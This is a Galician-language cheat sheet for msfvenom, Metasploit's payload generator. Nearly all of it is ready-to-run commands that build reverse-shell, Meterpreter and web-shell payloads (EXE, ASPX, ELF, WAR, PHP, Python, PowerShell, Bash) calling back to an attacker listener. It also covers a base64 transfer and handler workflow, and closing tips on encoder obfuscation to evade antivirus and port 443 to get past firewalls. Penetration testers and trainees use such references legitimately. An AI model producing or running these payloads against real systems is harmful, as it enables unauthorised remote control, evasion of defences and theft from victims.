Ir ao contido

msfvenom - Xerador de Payloads

Descrición

Ferramenta de Metasploit para xerar payloads personalizados en diferentes formatos e plataformas. Combina as funcionalidades de msfpayload e msfencode.

Sintaxe básica

msfvenom -p <payload> LHOST=<IP> LPORT=<porto> -f <formato> -o <ficheiro>

Opcións principais

Opción Descrición
-p <payload> Tipo de payload a xerar
LHOST=<IP> IP do atacante (listener)
LPORT=<porto> Porto do atacante (listener)
-f <formato> Formato de saída (exe, war, aspx, elf, etc.)
-o <ficheiro> Ficheiro de saída
-e <encoder> Encoder para ofuscar payload
-i <iteracións> Número de iteracións do encoder
-b <bytes> Bad bytes a evitar
-a <arch> Arquitectura (x86, x64)
--platform <SO> Plataforma obxectivo
-l payloads Listar payloads dispoñibles
-l encoders Listar encoders dispoñibles
-l formats Listar formatos dispoñibles

Exemplos de uso

Windows

# Payload reverse shell Windows x64 (EXE)
msfvenom -p windows/x64/shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=8888 \
         -f exe \
         -o payload.exe

# Payload Meterpreter reverse TCP
msfvenom -p windows/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=443 \
         -f exe \
         -o meterpreter.exe

# Payload con encoder (ofuscación)
msfvenom -p windows/shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=443 \
         -f exe \
         -e x86/shikata_ga_nai \
         -i 3 \
         -o encoded_payload.exe

# Payload ASPX para IIS
msfvenom -p windows/x64/shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=443 \
         -f aspx \
         -o shell.aspx

Linux

# Payload reverse shell Linux x64 (ELF)
msfvenom -p linux/x64/shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=4444 \
         -f elf \
         -o payload.elf

# Meterpreter Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=443 \
         -f elf \
         -o meterpreter.elf

Java/Tomcat

# Payload JSP para servidores Java/Tomcat (WAR)
msfvenom -p java/jsp_shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=4444 \
         -f war \
         -o shell.war

# Shell JSP simple
msfvenom -p java/jsp_shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=443 \
         -f war \
         -o webshell.war

PHP

# Payload PHP
msfvenom -p php/reverse_php \
         LHOST=192.168.1.100 \
         LPORT=4444 \
         -f raw \
         -o shell.php

# Meterpreter PHP
msfvenom -p php/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=443 \
         -f raw \
         -o meterpreter.php

Python

# Payload Python
msfvenom -p python/shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=4444 \
         -f raw \
         -o shell.py

# Meterpreter Python
msfvenom -p python/meterpreter/reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=443 \
         -f raw \
         -o meterpreter.py

Outros formatos

# Payload en Base64 (para transferencia)
msfvenom -p windows/x64/shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=8888 \
         -f exe | base64 > payload_b64.txt

# Payload en PowerShell
msfvenom -p windows/x64/shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=443 \
         -f psh \
         -o shell.ps1

# Payload en Bash
msfvenom -p cmd/unix/reverse_bash \
         LHOST=192.168.1.100 \
         LPORT=4444 \
         -f raw \
         -o shell.sh

Listar opcións dispoñibles

# Listar todos os payloads
msfvenom -l payloads

# Listar payloads de Windows
msfvenom -l payloads | grep windows

# Listar encoders
msfvenom -l encoders

# Listar formatos
msfvenom -l formats

Workflow completo

# 1. Xerar payload
msfvenom -p windows/x64/shell_reverse_tcp \
         LHOST=192.168.1.100 \
         LPORT=8888 \
         -f exe \
         -o payload.exe

# 2. Codificar en base64 para transferencia
base64 payload.exe | tee payload_b64.txt

# 3. Iniciar listener en Metasploit
msfconsole -q -x "use exploit/multi/handler; \
                  set payload windows/x64/shell_reverse_tcp; \
                  set LHOST 192.168.1.100; \
                  set LPORT 8888; \
                  exploit"

Notas adicionais

  • Sempre iniciar un listener antes de executar o payload no obxectivo
  • Usar encoders (-e) e iteracións (-i) para evitar detección antivirus
  • Os payloads Meterpreter ofrecen máis funcionalidades que shells básicas
  • Verificar arquitectura do obxectivo (x86/x64) antes de xerar payload
  • Para exploits como EternalBlue, xerar payloads con porto 443 para evasión de firewalls